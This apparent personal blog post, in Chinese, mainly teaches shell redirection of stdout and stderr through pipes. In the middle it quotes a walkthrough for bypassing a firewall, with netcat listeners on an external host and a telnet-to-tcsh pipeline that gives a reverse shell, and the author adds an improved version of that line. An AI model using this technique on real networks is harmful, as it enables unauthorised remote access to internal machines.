此頁面的樣式無法正確顯示
您所選擇的模板與CSS樣式內容不相容,建議您至管理後台更換模板,或套用其他樣式。
This page looks plain and unstyled
The template you're using is not compatible with your CSS theme. Please change your template or apply other CSS theme to fix it.

My life,my experience...
   喜歡一種 自由自在 無拘無束的感覺
Album | Blog | Comment | Profile | Control Panel
fvalinux | 19 August,2006 8:31

還記得上個月在敦南誠品看到的一本O'Reilly的Unix Power Tool吧?
裡面看到了一個章節內容提到如何在Shell底下將Standard Out輸出在螢幕上,
然後將Standard Error丟進pipe( | )處理?
 
一般來講,pipe預設只會去處理stdout的資料,會將stderr輸出在螢幕上,
當我下
cat * | grep "apple"
時,就會去執行cat這執程式然後將顯示的內容經由pipe丟進grep處理
有找到apple字串時就會顯示出來,沒有則否.
如果目錄下有一個檔案或程式我沒有讀取的權限,就會產生出一個stderr訊息
Permission deny
然後這個訊息就會直接往螢幕輸出,不會流過pipe.
那我要怎麼連stderr也一併處理呢?
這時候就要用到重導向的功能了
cat * 2>&1 | grep "deny"
你會發現這時stdout和stderr都會流過pipe,然後如果有權限被拒絕的stderr,
grep就會把它找出來了.
我還可以利用下面的指令將stderr和stdout流經pipe把它存成一個叫temp的檔再流過下一個pipe
cat * 2>&1 | tee temp | grep "deny"
那麼有誰知道我如果只要把stderr流進pipe,然後一開始就將stdout輸出到螢幕怎麼辦?
在那本書上是教你使用另外的檔案代碼.
cat * 3>&2 2>&1 1>&3 | grep "deny"
這句話要我想可能要這樣解釋吧
將1的內容先重導到3去,再將2的內容重導到1,最後再將3的內容導進代表stderr的2去了
可以在網路上搜
netmat寫的一篇shell文章
還有debian官網提供的shell script文.
 
另外,剛又看到了一篇文章介紹如何利用telnet和netcat這兩隻程式來扮演telnet server的角色,如果你把telnet server關掉的話.
以下的excerpt來自於:
http://www.sns.ias.edu/~jns/wp/2006/01/10/some-security-issues-with-telnet/
 
You have two machines,I and E. Machine I is internal to your firewalled network and has the
IP address $I. Machine E is external and has the IP address $E.
You are Mr.Hacker, or maybe a clever user,and you want access to the internal
network from the external machine E.
 
.Download and compile netcat on E
(make sure you compile netcat with the -DTELNET and -DGAPING_SECURITY_HOLE flag)
.Open two shell windows on E. In the first,type nc -w l -p 2000.
this starts a netcat listener on port 2000. In the second window type nc -w -l -p 2001.
.On machine I,execute telnet $E 2000 | /bin/tcsh | telnet $E 2001.
.On machine E,type ls in the first window.So you see where the output came out.
That's right, your telnet client is acting as a server!
 
不過呢…感覺有點怪怪的,如果這在內網的主機一開始就沒提供telnet/ssh服務的話,第三步要怎麼做?要嘛就想辦法潛入主機機房...不然就只有..黑掉它了!另外,剛小練了一下,在第三步的/bin/tcsh流到shell處理的這邊最好也將stderr重導進stdout去
telnet $E 2000 | /bin/tcsh 2>&1 | telnet $E 2001.
就像這樣,不然在執行的時候如果有錯誤訊息還是只會顯示在內網I這台機器上.


Comment

Refer:

http://aplawrence.com/Words/2003_12_29.html

fvalinux  |  11/03/2007 22:53:16

Debian官網的參考文章

中文版debian參考網址
http://www.debian.org/doc/manuals/reference/ch-program.zh-tw.html#s-shell-redirect
英文版debian參考網址
http://www.debian.org/doc/manuals/reference/ch-program.en.html#s-shell-redirect

Fva...  |  28/11/2008 01:55:13

unix shell基礎應用

bash-2.05$ echo $((2*3))
6
bash-2.05$ echo $(ls)
file1 file2 file3
bash-2.05$ echo ${PWD}abc
/home/institute4/94/CE/b9411013abc
bash-2.05$ echo `ls`
file1 file2 file3
bash-2.05$ echo $((2*(3+1)))
8
bash-2.05$ echo '2*3+5' | bc
11
bash-2.05$ echo '2*(3+5)' | bc
16
bash-2.05$

Fva...  |  28/11/2008 02:50:04

原來以下這2行的指令是不一樣的@@
在bash的manual page裡看到的…
$ls > dirlist 2>&1
$ls 2>&1 > dirlist
首先必須要從句尾開始解讀,
第一行指令會把standard output & standard error
的資料都重導到dirlist檔案去
第二行指令只會把standard output重導到dirlist去@@

pixnet user  fvalinux  |  22/02/2009 01:57:36

Trackback

Comment Permissions: Allow commenting

Leave Comment

*Name/Nickname
E-mail
Personal Website
Comment Title
*Comment
* Private Comment